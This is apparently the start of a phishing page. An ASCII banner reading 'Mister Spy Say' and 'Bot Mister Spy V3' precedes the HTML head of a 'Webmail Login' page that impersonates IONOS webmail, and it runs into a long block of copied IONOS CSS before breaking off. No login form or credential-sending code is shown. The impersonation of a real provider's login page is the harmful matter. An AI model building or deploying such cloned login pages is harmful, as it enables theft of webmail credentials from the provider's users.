Mister Spy Say ="Hello Kids ... :D"
___ ____ _ _____
| \/ (_) | | / ___|
| . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _
| |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | |
| | | | \__ \ || __/ | /\__/ / |_) | |_| |
\_| |_/_|___/\__\___|_| \____/| .__/ \__, |
| | __/ |
|_| |___/
Bot Mister Spy V3
Mister Spy
Mister Spy
<html><head>
<link rel="icon" type="image/png" sizes="32x32" href="/image/favicon-32px.png">
<link rel="icon" type="image/png" sizes="16x16" href="/image/favicon-16px.png">
<link rel="icon" type="image/png" sizes="48x48" href="/image/favicon-48px.png">
<link rel="shortcut icon" type="image/x-icon" href="/image/favicon.ico">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<title>Webmail Login</title>
<meta name="description" content="Login to access your IONOS e-mail account and read your e-mail online with IONOS Webmail.">
<style>
/*! exos - 2.0.0 (8b513d7b) (c) IONOS, 2024 */
:root,[data-exos-theme=ionos] {
--palette-black: #000;
--palette-white: #fff;
--palette-corporate-1: #dbedf8;
--palette-corporate-2: #95caeb;
--palette-corporate-3: #3196d6;
--palette-corporate-4: #1474c4;
--palette-corporate-5: #095bb1;
--palette-corporate-6: #003d8f;
--palette-corporate-7: #0b2a63;
--palette-corporate-8: #001b41;
--palette-corporate-9: #02102b;
--palette-success-1: #c7fae2;
--palette-success-2: #46efa0;
--palette-success-3: #12cf76;
--palette-success-4: #0fa954;
--palette-success-5: #0c8a44;
--palette-success-6: #096b35;
--palette-success-7: #074d26;
--palette-warning-1: #ffedca;
--palette-warning-2: #ffd176;
--palette-warning-3: #fa0;
--palette-warning-4: #ef8300;
--palette-warning-5: #c36b00;
--palette-warning-6: #8e4e00;
--palette-warning-7: #603500;
--palette-critical-1: #ffe4e2;
--palette-critical-2: #ffa8a3;
--palette-critical-3: #ff6159;
--palette-critical-4: #f50c00;
--palette-critical-5: #c80a00;
--palette-critical-6: #9c0800;
--palette-critical-7: #6e0500;
--palette-neutral-1: #f4f7fa;
--palette-neutral-2: #dbe2e8;
--palette-neutral-3: #bcc8d4;
--palette-neutral-4: #97a3b4;
--palette-neutral-5: #718095;
--palette-neutral-6: #465a75;
--palette-neutral-7: #2e4360;
--palette-neutral-8: #1d2d42;
--palette-neutral-9: #0a121c;
--palette-activating-1: #d2f6fc;
--palette-activating-2: #7fe4f6;
--palette-activating-3: #11c7e6;
--palette-activating-4: #08a5c5;
--palette-activating-5: #007e9c;
--palette-activating-6: #005b72;
--palette-activating-7: #003d4b;
--palette-promoting-1: #fae7fe;
--palette-promoting-2: #f0b7fb;
--palette-promoting-3: #e480f8;
--palette-promoting-4: #d746f5;
--palette-promoting-5: #b410e7;
--palette-promoting-6: #8212c2;
--palette-promoting-7: #560e8a;
--black: var(--palette-black);
--white: var(--palette-white);
--primary-text-color: var(--palette-corporate-9);
--default-text-color: var(--palette-corporate-8);
--secondary-text-color: var(--palette-neutral-6);
--tertiary-text-color: var(--palette-neutral-5);
--primary-text-color-inverted: var(--palette-neutral-1);
--default-text-color-inverted: var(--palette-neutral-2);
--secondary-text-color-inverted: var(--palette-neutral-3);
--primary-shape-color: var(--palette-neutral-7);
--default-shape-color: var(--palette-neutral-6);
--secondary-shape-color: var(--palette-neutral-4);
--tertiary-shape-color: var(--palette-neutral-3);
--primary-background-color: var(--palette-white);
--default-background-color: var(--palette-neutral-1);
--secondary-background-color: var(--palette-white);
--tertiary-background-color: var(--palette-neutral-3);
--quaternary-background-color: var(--palette-neutral-4);
--primary-background-color-inverted: var(--palette-corporate-8);
--default-background-color-inverted: var(--palette-corporate-7);
--secondary-background-color-inverted: var(--palette-neutral-6);
--tertiary-background-color-inverted: var(--palette-neutral-5);
--success-text-color: var(--palette-success-6);
--success-shape-color: var(--palette-success-4);
--caution-text-color: var(--palette-warning-4);
--caution-shape-color: var(--palette-warning-2);
--warning-text-color: var(--palette-warning-5);
--warning-shape-color: var(--palette-warning-3);
--critical-text-color: var(--palette-critical-5);
--critical-shape-color: var(--palette-critical-4);
--neutral-text-color: var(--palette-neutral-6);
--neutral-shape-color: var(--palette-neutral-5);
--activating-text-color: var(--palette-activating-5);
--activating-shape-color: var(--palette-activating-3);
--promoting-text-color: var(--palette-promoting-7);
--promoting-shape-color: var(--palette-promoting-5);
--corporate-text-color: var(--palette-corporate-7);
--corporate-shape-color: var(--palette-corporate-8);
--inactive-success-text-color: var(--palette-success-3);
--inactive-success-shape-color: var(--palette-success-3);
--inactive-warning-text-color: var(--palette-warning-2);
--inactive-warning-shape-color: var(--palette-warning-2);
--inactive-critical-text-color: var(--palette-critical-2);
--inactive-critical-shape-color: var(--palette-critical-2);
--inactive-neutral-text-color: var(--palette-neutral-3);
--inactive-neutral-shape-color: var(--palette-neutral-3);
--inactive-activating-text-color: var(--palette-activating-2);
--inactive-activating-shape-color: var(--palette-activating-2);
--inactive-promoting-text-color: var(--palette-promoting-2);
--inactive-promoting-shape-color: var(--palette-promoting-2);
--inactive-corporate-text-color: var(--palette-corporate-2);
--inactive-corporate-shape-color: var(--palette-corporate-2);
--solid-success-background-color: var(--palette-success-3);
--solid-caution-background-color: var(--palette-warning-2);
--solid-warning-background-color: var(--palette-warning-3);
--solid-critical-background-color: var(--palette-critical-3);
--solid-neutral-background-color: var(--palette-neutral-6);
--solid-activating-background-color: var(--palette-activating-3);
--solid-promoting-background-color: var(--palette-promoting-3);
--solid-corporate-background-color: var(--palette-corporate-7);
--solid-bright-background-color: var(--palette-white);
--success-background-color: var(--palette-white);
--warning-background-color: var(--palette-white);
--critical-background-color: var(--palette-white);
--neutral-background-color: var(--palette-white);
--activating-background-color: var(--palette-white);
--promoting-background-color: var(--palette-white);
--corporate-background-color: var(--palette-white);
--advertising-background-gradient-start: var(--palette-corporate-6);
--advertising-background-gradient-end: var(--palette-corporate-4);
--hovered-advertising-background-gradient-start: var(--palette-corporate-8);
--hovered-advertising-background-gradient-end: var(--palette-corporate-6);
--interactive-text-color: var(--palette-corporate-4);
--interactive-shape-color: var(--palette-corporate-4);
--default-shadow-color: rgba(113,128,149,.5);
--default-shadow: 0 1px 2px 0 var(--default-shadow-color);
--primary-shadow: 0 2px 8px 0 var(--default-shadow-color);
--secondary-shadow: 0 1px 0 0 var(--default-shadow-color);
--primary-button-background-color: var(--palette-corporate-7);
--primary-button-border-color: var(--palette-corporate-7);
--primary-button-text-color: var(--palette-white);
--hovered-primary-button-background-color: var(--palette-corporate-4);
--hovered-primary-button-border-color: var(--palette-corporate-4);
--hovered-primary-button-text-color: var(--palette-white);
--bright-primary-button-background-color: var(--palette-white);
--bright-primary-button-border-color: var(--palette-white);
--bright-primary-button-text-color: var(--palette-corporate-7);
--hovered-bright-primary-button-background-color: var(--palette-corporate-2);
--hovered-bright-primary-button-border-color: var(--palette-corporate-2);
--hovered-bright-primary-button-text-color: var(--palette-corporate-7);
--activating-primary-button-background-color: var(--palette-activating-3);
--activating-primary-button-border-color: var(--palette-activating-3);
--activating-primary-button-text-color: var(--palette-corporate-7);
--hovered-activating-primary-button-background-color: var(--palette-activating-2);
--hovered-activating-primary-button-border-color: var(--palette-activating-2);
--hovered-activating-primary-button-text-color: var(--palette-corporate-7);
--promoting-primary-button-background-color: var(--palette-promoting-3);
--promoting-primary-button-border-color: var(--palette-promoting-3);
--promoting-primary-button-text-color: var(--palette-white);
--hovered-promoting-primary-button-background-color: var(--palette-promoting-2);
--hovered-promoting-primary-button-border-color: var(--palette-promoting-2);
--hovered-promoting-primary-button-text-color: var(--palette-white);
--disabled-primary-button-background-color: var(--palette-neutral-4);
--disabled-primary-button-border-color: var(--palette-neutral-4);
--disabled-primary-button-text-color: var(--palette-white);
--secondary-button-background-color: transparent;
--secondary-button-border-color: var(--palette-corporate-7);
--secondary-button-text-color: var(--palette-corporate-7);
--hovered-secondary-button-background-color: var(--palette-corporate-7);
--hovered-secondary-button-border-color: var(--palette-corporate-7);
--hovered-secondary-button-text-color: var(--palette-white);
--bright-secondary-button-background-color: transparent;
--bright-secondary-button-border-color: var(--palette-white);
--bright-secondary-button-text-color: var(--palette-white);
--hovered-bright-secondary-button-background-color: var(--palette-white);
--hovered-bright-secondary-button-border-color: var(--palette-white);
--hovered-bright-secondary-button-text-color: var(--palette-corporate-7);
--activating-secondary-button-background-color: transparent;
--activating-secondary-button-border-color: var(--palette-activating-3);
--activating-secondary-button-text-color: var(--palette-activating-3);
--hovered-activating-secondary-button-background-color: var(--palette-activating-3);
--hovered-activating-secondary-button-border-color: var(--palette-activating-3);
--hovered-activating-secondary-button-text-color: var(--palette-corporate-7);
--promoting-secondary-button-background-color: transparent;
--promoting-secondary-button-border-color: var(--palette-promoting-3);
--promoting-secondary-button-text-color: var(--palette-promoting-3);
--hovered-promoting-secondary-button-background-color: var(--palette-promoting-2);
--hovered-promoting-secondary-button-border-color: var(--palette-promoting-2);
--hovered-promoting-secondary-button-text-color: var(--palette-white);
--disabled-secondary-button-background-color: transparent;
--disabled-secondary-button-border-color: var(--palette-neutral-4);
--disabled-secondary-button-text-color: var(--palette-neutral-4);
--ghost-button-background-color: transparent;
--ghost-button-text-color: var(--palette-corporate-4);
--hovered-ghost-button-background-color: var(--palette-corporate-1);
--hovered-ghost-button-text-color: var(--palette-corporate-4);
--bright-ghost-button-background-color: transparent;
--bright-ghost-button-text-color: var(--palette-corporate-2);
--hovered-bright-ghost-button-background-color: var(--palette-corporate-6);
--hovered-bright-ghost-button-text-color: var(--palette-corporate-2);
--activating-ghost-button-background-color: transparent;
--activating-ghost-button-text-color: var(--palette-corporate-2);
--hovered-activating-ghost-button-background-color: var(--palette-corporate-6);
--hovered-activating-ghost-button-text-color: var(--palette-corporate-2);
--promoting-ghost-button-background-color: transparent;
--promoting-ghost-button-text-color: var(--palette-corporate-2);
--hovered-promoting-ghost-button-background-color: var(--palette-corporate-6);
--hovered-promoting-ghost-button-text-color: var(--palette-corporate-2);
--disabled-ghost-button-background-color: transparent;
--disabled-ghost-button-text-color: var(--palette-neutral-4);
--table-border: 1px solid var(--tertiary-shape-color);
--table-shadow: none;
--table-header-background-color: var(--default-background-color);
--highlighted-table-cell-background-color: rgba(219,226,232,.25);
--hovered-table-row-background-color: rgba(219,226,232,.5);
--table-toolbar-shadow: var(--table-shadow);
--table-toolbar-border: var(--table-border);
--table-toolbar-background-color: var(--table-header-background-color);
--card-border: 1px solid var(--tertiary-shape-color);
--card-shadow: none;
--sheet-border: 1px solid var(--tertiary-shape-color);
--sheet-shadow: none;
--panel-border: 1px solid var(--tertiary-shape-color);
--hovered-panel-border: 1px solid var(--secondary-shape-color);
--panel-shadow: none;
--hovered-panel-shadow: var(--primary-shadow);
--tile-background-color: transparent;
--tile-border: 0 none transparent;
--tile-shadow: none;
--hovered-tile-background-color: transparent;
--hovered-tile-border: 0 none transparent;
--hovered-tile-shadow: var(--primary-shadow);
--filled-tile-background-color: var(--white);
--filled-tile-border: 1px solid var(--tertiary-shape-color);
--filled-tile-shadow: none;
--hovered-filled-tile-background-color: var(--white);
--hovered-filled-tile-border: 1px solid var(--tertiary-shape-color);
--hovered-filled-tile-shadow: var(--primary-shadow);
--outlined-tile-background-color: transparent;
--outlined-tile-border: 1px solid var(--corporate-text-color);
--outlined-tile-shadow: none;
--hovered-outlined-tile-background-color: var(--white);
--hovered-outlined-tile-border: 1px solid var(--corporate-text-color);
--hovered-outlined-tile-shadow: none;
--bright-tile-background-color: transparent;
--bright-tile-border: 1px solid var(--white);
--bright-tile-shadow: none;
--hovered-bright-tile-background-color: hsla(0,0%,100%,.15);
--hovered-bright-tile-border: 1px solid var(--white);
--hovered-bright-tile-shadow: none;
--secondary-textarea-background-color: var(--palette-neutral-2);
--context-menu-border: 1px solid var(--tertiary-shape-color);
--page-tabbar-bottom-border: 1px solid var(--tertiary-shape-color);
--global-navigation-background-color: var(--palette-corporate-6);
--global-navigation-border1: #095bb1;
--global-navigation-border2: #0b2a63
}
a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video {
border: 0;
font: inherit;
margin: 0;
padding: 0;
vertical-align: baseline
}
article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section {
display: block
}
body {
font-family: arial,serif;
line-height: 1
}
ol,ul {
list-style: none
}
blockquote,q {
quotes: none
}
blockquote:after,blockquote:before,q:after,q:before {
content: "";
content: none
}
table {
border-collapse: collapse;
border-spacing: 0
}
strong {
font-weight: 700
}
button::-moz-focus-inner,input::-moz-focus-inner {
border: 0;
padding: 0
}
.block,.show {
display: block
}
.hide {
display: none
}
.nowrap {
white-space: nowrap
}
#skipmenu {
left: 10px;
position: absolute;
top: 10px;
width: 180px;
z-index: 100
}
#skipmenu .skip-target {
display: block;
height: 0;
overflow: hidden;
width: 0
}
#skipmenu .skip:link,#skipmenu .skip:visited {
font-size: 11px;
position: absolute;
text-decoration: none;
text-transform: uppercase;
top: -999em
}
#skipmenu .skip:active,#skipmenu .skip:focus {
color: #fff;
left: 0;
outline: 1px dotted #fff;
position: absolute;
top: 0
}
.grid-01 {
width: var(--width,8.33333%)
}
.grid-02 {
width: var(--width,16.66667%)
}
.grid-03 {
width: var(--width,25%)
}
.grid-04a {
width: var(--width,27.5%)
}
.grid-04 {
width: var(--width,33.33333%)
}
.grid-05 {
width: var(--width,41.66667%)
}
.grid-06 {
width: var(--width,50%)
}
.grid-07 {
width: var(--width,58.33333%)
}
.grid-08 {
width: var(--width,66.66667%)
}
.grid-08a {
width: var(--width,72.5%)
}
.grid-09 {
width: var(--width,75%)
}
.grid-10 {
width: var(--width,83.33333%)
}
.grid-11 {
width: var(--width,91.66667%)
}
.grid-12 {
width: var(--width,auto)
}
.grid-spacing-left {
margin-left: 15px;
margin-right: 0
}
.grid-spacing-right {
margin-left: 0;
margin-right: 15px
}
.grid-spacing-both {
margin-left: 15px;
margin-right: 15px
}
.grid-spacing-none {
margin-left: 0;
margin-right: 0
}
.grid-00 {
float: left;
width: auto
}
.grid-12 .grid-12,.responsive-small .grid-12 .grid-12 {
margin-bottom: 0
}
.equal-grid-spacing {
margin-left: -15px;
margin-right: -15px
}
.equal-grid-height {
display: flex!important;
flex-flow: row wrap
}
.equal-grid-height>div[class*=grid-],.equal-grid-height>div[class*=grid-large-],.equal-grid-height>div[class*=grid-medium-],.equal-grid-height>div[class*=grid-small-] {
display: flex;
flex-wrap: wrap
}
.equal-grid-height>div>div[class*=grid-spacing-] {
display: flex;
flex-basis: 0%;
flex-flow: column nowrap;
flex-grow: 1
}
.equal-grid-height>div>div[class*=grid-spacing-]:not([class*=align-vertical-]) {
justify-content: inherit
}
.equal-grid-height>div[class*=grid-]>div[class*=grid-spacing-] {
min-width: 0
}
.equal-grid-height .align-items [class*=grid-large-],.equal-grid-height .align-items [class*=grid-medium-],.equal-grid-height .align-items [class*=grid-small-],.equal-grid-height .align-items [class*=grid-spacing-] {
display: block
}
.equal-grid-height .content-card {
display: flex;
flex-flow: column nowrap;
flex-grow: 1
}
.equal-grid-height .content-card header,.equal-grid-height .content-card section {
display: flex;
flex-flow: column nowrap;
flex-grow: 0
}
.equal-grid-height .content-card .card-block {
display: flex;
flex-flow: column nowrap
}
.equal-grid-height section .card-block>footer {
margin-top: 4px
}
.equal-grid-height .content-card .expandable {
display: flex;
flex-flow: column nowrap;
flex-grow: 1
}
.equal-grid-height .content-card .expandable .card-block {
flex-grow: 1
}
.equal-grid-height .expansion-gap {
display: flex;
flex-grow: 1;
flex-wrap: nowrap
}
.content-card .expansion-gap,.expansion-gap {
border: 0
}
.equal-grid-height .ias-zone:not([class*=grid-]) {
display: flex;
flex-grow: 1
}
.equal-grid-height .ias-zone:not([class*=grid-])>div:not([class]) {
display: flex;
flex-flow: column nowrap;
flex-grow: 1
}
.responsive-small .equal-grid-height,.responsive-small .equal-grid-height .content-card,.responsive-small .equal-grid-height .content-card .expandable {
display: auto;
flex-flow: auto;
flex-grow: auto
}
.hidden {
display: none
}
.align-horizontal-left,.align-horizontal-left div {
text-align: left
}
.align-horizontal-center,.align-horizontal-center div {
text-align: center
}
.align-horizontal-right,.align-horizontal-right div {
text-align: right
}
.align-items {
display: flex
}
.align-large-vertical-top,.align-medium-vertical-top,.align-small-vertical-top,.align-vertical-top {
align-items: flex-start
}
.align-large-vertical-center,.align-medium-vertical-center,.align-small-vertical-center,.align-vertical-center {
align-items: center
}
.align-large-vertical-bottom,.align-medium-vertical-bottom,.align-small-vertical-bottom,.align-vertical-bottom {
align-items: flex-end
}
.align-evenly {
justify-content: space-around
}
.equal-grid-spacing.align-items {
flex-flow: wrap
}
.equal-grid-height .align-horizontal-left,.equal-grid-height .align-horizontal-left div {
justify-content: flex-start
}
.equal-grid-height .align-horizontal-right,.equal-grid-height .align-horizontal-right div {
justify-content: flex-end
}
.equal-grid-height .align-horizontal-center,.equal-grid-height .align-horizontal-center div {
justify-content: center
}
@media only screen and (max-width: 666px) {
.grid-small-01,.grid-small-02,.grid-small-03,.grid-small-04,.grid-small-04a,.grid-small-05,.grid-small-06,.grid-small-07,.grid-small-08,.grid-small-08a,.grid-small-09,.grid-small-10,.grid-small-11,.grid-small-12 {
box-sizing:border-box;
float: left;
min-height: 1px
}
.grid-small-01 {
width: 8.333333%!important
}
.grid-small-02 {
width: 16.666667%!important
}
.grid-small-03 {
width: 25%!important
}
.grid-small-04a {
width: 27.5%!important
}
.grid-small-04 {
width: 33.333333%!important
}
.grid-small-05 {
width: 41.666667%!important
}
.grid-small-06 {
width: 50%!important
}
.grid-small-07 {
width: 58.333333%!important
}
.grid-small-08 {
width: 66.666667%!important
}
.grid-small-08a {
width: 72.5%!important
}
.grid-small-09 {
width: 75%!important
}
.grid-small-10 {
width: 83.333333%!important
}
.grid-small-11 {
width: 91.666667%!important
}
.grid-small-12 {
width: 100%!important
}
.grid-small-hidden {
box-sizing: border-box;
display: none!important;
width: 0
}
.grid-small-spacing-left {
margin-left: 15px;
margin-right: 0
}
.grid-small-spacing-right {
margin-left: 0;
margin-right: 15px
}
.grid-small-spacing-both {
margin-left: 15px;
margin-right: 15px
}
.grid-small-spacing-none {
margin-left: 0;
margin-right: 0
}
.align-small-horizontal-left,.align-small-horizontal-left div {
text-align: left!important
}
.align-small-horizontal-center,.align-small-horizontal-center div {
text-align: center!important
}
.align-small-horizontal-right,.align-small-horizontal-right div {
text-align: right!important
}
.equal-grid-height .align-small-horizontal-left,.equal-grid-height .align-small-horizontal-left div {
justify-content: flex-start!important
}
.equal-grid-height .align-small-horizontal-right,.equal-grid-height .align-small-horizontal-right div {
justify-content: flex-end!important
}
.equal-grid-height .align-small-horizontal-center,.equal-grid-height .align-small-horizontal-center div {
justify-content: center!important
}
.small-hidden,.small-hidden * {
display: none!important;
width: 0
}
}
@media only screen and (min-width: 667px) and (max-width:888px) {
.grid-medium-01,.grid-medium-02,.grid-medium-03,.grid-medium-04,.grid-medium-04a,.grid-medium-05,.grid-medium-06,.grid-medium-07,.grid-medium-08,.grid-medium-08a,.grid-medium-09,.grid-medium-10,.grid-medium-11,.grid-medium-12 {
box-sizing:border-box;
float: left;
min-height: 1px
}
.grid-medium-01 {
width: 8.333333%!important
}
.grid-medium-02 {
width: 16.666667%!important
}
.grid-medium-03 {
width: 25%!important
}
.grid-medium-04a {
width: 27.5%!important
}
.grid-medium-04 {
width: 33.333333%!important
}
.grid-medium-05 {
width: 41.666667%!important
}
.grid-medium-06 {
width: 50%!important
}
.grid-medium-07 {
width: 58.333333%!important
}
.grid-medium-08 {
width: 66.666667%!important
}
.grid-medium-08a {
width: 72.5%!important
}
.grid-medium-09 {
width: 75%!important
}
.grid-medium-10 {
width: 83.333333%!important
}
.grid-medium-11 {
width: 91.666667%!important
}
.grid-medium-12 {
width: 100%!important
}
.grid-medium-hidden {
box-sizing: border-box;
display: none!important;
width: 0
}
.grid-medium-spacing-left {
margin-left: 15px;
margin-right: 0
}
.grid-medium-spacing-right {
margin-left: 0;
margin-right: 15px
}
.grid-medium-spacing-both {
margin-left: 15px;
margin-right: 15px
}
.grid-medium-spacing-none {
margin-left: 0;
margin-right: 0
}
.align-medium-horizontal-left,.align-medium-horizontal-left div {
text-align: left!important
}
.align-medium-horizontal-center,.align-medium-horizontal-center div {
text-align: center!important
}
.align-medium-horizontal-right,.align-medium-horizontal-right div {
text-align: right!important
}
.equal-grid-height .align-medium-horizontal-left,.equal-grid-height .align-medium-horizontal-left div {
justify-content: flex-start!important
}
.equal-grid-height .align-medium-horizontal-right,.equal-grid-height .align-medium-horizontal-right div {
justify-content: flex-end!important
}
.equal-grid-height .align-medium-horizontal-center,.equal-grid-height .align-medium-horizontal-center div {
justify-content: center!important
}
.medium-hidden,.medium-hidden * {
display: none!important;
width: 0
}
}
@media only screen and (min-width: 889px) {
.grid-large-01,.grid-large-02,.grid-large-03,.grid-large-04,.grid-large-04a,.grid-large-05,.grid-large-06,.grid-large-07,.grid-large-08,.grid-large-08a,.grid-large-09,.grid-large-10,.grid-large-11,.grid-large-12 {
box-sizing:border-box;
float: left;
min-height: 1px
}
.grid-large-01 {
width: 8.333333%!important
}
.grid-large-02 {
width: 16.666667%!important
}
.grid-large-03 {
width: 25%!important
}
.grid-large-04a {
width: 27.5%!important
}
.grid-large-04 {
width: 33.333333%!important
}
.grid-large-05 {
width: 41.666667%!important
}
.grid-large-06 {
width: 50%!important
}
.grid-large-07 {
width: 58.333333%!important
}
.grid-large-08 {
width: 66.666667%!important
}
.grid-large-08a {
width: 72.5%!important
}
.grid-large-09 {
width: 75%!important
}
.grid-large-10 {
width: 83.333333%!important
}
.grid-large-11 {
width: 91.666667%!important
}
.grid-large-12 {
width: 100%!important
}
.grid-large-hidden {
box-sizing: border-box;
display: none!important;
width: 0
}
.grid-large-spacing-left {
margin-left: 15px;
margin-right: 0
}
.grid-large-spacing-right {
margin-left: 0;
margin-right: 15px
}
.grid-large-spacing-both {
margin-left: 15px;
margin-right: 15px
}
.grid-large-spacing-none {
margin-left: 0;
margin-right: 0
}
.align-large-horizontal-left,.align-large-horizontal-left div {
text-align: left!important
}
.align-large-horizontal-center,.align-large-horizontal-center div {
text-align: center!important
}
.align-large-horizontal-right,.align-large-horizontal-right div {
text-align: right!important
}
.equal-grid-height .align-large-horizontal-left,.equal-grid-height .align-large-horizontal-left div {
justify-content: flex-start!important
}
.equal-grid-height .align-large-horizontal-right,.equal-grid-height .align-large-horizontal-right div {
justify-content: flex-end!important
}
.equal-grid-height .align-large-horizontal-center,.equal-grid-height .align-large-horizontal-center div {
justify-content: center!important
}
.large-hidden,.large-hidden * {
display: none!important;
width: 0
}
}
body.debug [class*=button-]:not(.button):not(.toggle-button):after,body.debug [class*=button-]:not(.button):not(.toggle-button):before,body.debug [class*=content-]:after,body.debug [class*=content-]:before,body.debug [class*=icon-button]:after,body.debug [class*=icon-button]:before {
background: repeating-linear-gradient(45deg,#ff3232,#ff3030 20px,#fff 0,#fff 40px);
content: " ";
display: block;
height: 10px;
width: 100%
}
.grid {
box-sizing: border-box;
float: none;
margin-left: -15px;
margin-right: -15px;
min-height: 1px;
width: auto
}
.grid--full-height {
display: flex;
flex-flow: row wrap
}
.grid:after {
clear: both;
content: "";
display: table
}
.grid--align-center {
justify-content: center;
text-align: center
}
.grid--align-left {
justify-content: flex-start;
text-align: left
}
.grid--align-right {
justify-content: flex-end;
text-align: right
}
@media only screen and (min-width: 1185px) {
.grid--large-align-center {
justify-content:center;
text-align: center
}
.grid--large-align-left {
justify-content: flex-start;
text-align: left
}
.grid--large-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.grid--medium-align-center {
justify-content:center;
text-align: center
}
.grid--medium-align-left {
justify-content: flex-start;
text-align: left
}
.grid--medium-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (max-width: 666px) {
.grid--small-align-center {
justify-content:center;
text-align: center
}
.grid--small-align-left {
justify-content: flex-start;
text-align: left
}
.grid--small-align-right {
justify-content: flex-end;
text-align: right
}
}
.grid--vertical-align-bottom {
align-items: flex-end;
display: flex;
flex-flow: wrap
}
.grid--vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.grid--vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
@media only screen and (min-width: 1185px) {
.grid--large-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.grid--large-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.grid--large-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.grid--medium-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.grid--medium-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.grid--medium-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
}
@media only screen and (max-width: 666px) {
.grid--small-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.grid--small-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.grid--small-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
.grid--small-condensed {
margin-left: -8px;
margin-right: -8px
}
}
.grid-col {
box-sizing: border-box;
float: left;
min-height: 1px;
padding-left: 15px;
padding-right: 15px
}
.grid-col--1 {
width: 8.333333%
}
.grid-col--2 {
width: 16.666667%
}
.grid-col--3 {
width: 25%
}
.grid-col--4 {
width: 33.333333%
}
.grid-col--5 {
width: 41.666667%
}
.grid-col--6 {
width: 50%
}
.grid-col--7 {
width: 58.333333%
}
.grid-col--8 {
width: 66.666667%
}
.grid-col--9 {
width: 75%
}
.grid-col--10 {
width: 83.333333%
}
.grid-col--11 {
width: 91.666667%
}
.grid-col--12 {
width: 100%
}
.grid-col--article {
width: 72.5%
}
.grid-col--article-sidebar {
width: 27.5%
}
.grid-col--article-sticky-sidebar {
padding-left: 16px;
padding-right: 16px;
position: -webkit-sticky;
position: sticky;
top: 96px;
width: 27.5%;
z-index: 3
}
.grid-col--spacing-left {
padding-right: 0
}
.grid-col--spacing-right {
padding-left: 0
}
.grid-col--spacing-none {
padding-left: 0;
padding-right: 0
}
@media only screen and (min-width: 889px) {
.grid-col--large-1 {
width:8.333333%
}
.grid-col--large-2 {
width: 16.666667%
}
.grid-col--large-3 {
width: 25%
}
.grid-col--large-4 {
width: 33.333333%
}
.grid-col--large-5 {
width: 41.666667%
}
.grid-col--large-6 {
width: 50%
}
.grid-col--large-7 {
width: 58.333333%
}
.grid-col--large-8 {
width: 66.666667%
}
.grid-col--large-9 {
width: 75%
}
.grid-col--large-10 {
width: 83.333333%
}
.grid-col--large-11 {
width: 91.666667%
}
.grid-col--large-12 {
width: 100%
}
.grid-col--large-spacing-left {
padding-left: 15px;
padding-right: 0
}
.grid-col--large-spacing-right {
padding-left: 0;
padding-right: 15px
}
.grid-col--large-spacing-none {
padding-left: 0;
padding-right: 0
}
.grid-col--large-hidden {
box-sizing: border-box;
display: none;
width: 0
}
}
@media only screen and (min-width: 667px) and (max-width:888px) {
.grid-col--medium-1 {
width:8.333333%
}
.grid-col--medium-2 {
width: 16.666667%
}
.grid-col--medium-3 {
width: 25%
}
.grid-col--medium-4 {
width: 33.333333%
}
.grid-col--medium-5 {
width: 41.666667%
}
.grid-col--medium-6 {
width: 50%
}
.grid-col--medium-7 {
width: 58.333333%
}
.grid-col--medium-8 {
width: 66.666667%
}
.grid-col--medium-9 {
width: 75%
}
.grid-col--medium-10 {
width: 83.333333%
}
.grid-col--medium-11 {
width: 91.666667%
}
.grid-col--medium-12 {
width: 100%
}
.grid-col--medium-spacing-left {
padding-left: 15px;
padding-right: 0
}
.grid-col--medium-spacing-right {
padding-left: 0;
padding-right: 15px
}
.grid-col--medium-spacing-none {
padding-left: 0;
padding-right: 0
}
.grid-col--medium-spacing-both {
padding-left: 15px;
padding-right: 15px
}
.grid-col--medium-hidden {
box-sizing: border-box;
display: none;
width: 0
}
}
@media only screen and (max-width: 666px) {
.grid-col--small-1 {
width:8.333333%
}
.grid-col--small-2 {
width: 16.666667%
}
.grid-col--small-3 {
width: 25%
}
.grid-col--small-4 {
width: 33.333333%
}
.grid-col--small-5 {
width: 41.666667%
}
.grid-col--small-6 {
width: 50%
}
.grid-col--small-7 {
width: 58.333333%
}
.grid-col--small-8 {
width: 66.666667%
}
.grid-col--small-9 {
width: 75%
}
.grid-col--small-10 {
width: 83.333333%
}
.grid-col--small-11 {
width: 91.666667%
}
.grid-col--small-12 {
width: 100%
}
.grid-col--small-spacing-left {
padding-left: 15px;
padding-right: 0
}
.grid-col--small-spacing-right {
padding-left: 0;
padding-right: 15px
}
.grid-col--small-spacing-none {
padding-left: 0;
padding-right: 0
}
.grid-col--small-spacing-both {
padding-left: 15px;
padding-right: 15px
}
.grid-col--small-hidden {
box-sizing: border-box;
display: none;
width: 0
}
}
.grid-col--align-center {
justify-content: center;
text-align: center
}
.grid-col--align-left {
justify-content: flex-start;
text-align: left
}
.grid-col--align-right {
justify-content: flex-end;
text-align: right
}
@media only screen and (min-width: 1185px) {
.grid-col--large-align-center {
justify-content:center;
text-align: center
}
.grid-col--large-align-left {
justify-content: flex-start;
text-align: left
}
.grid-col--large-align-right {
justify-content: flex-end;
text-align: right
}
}
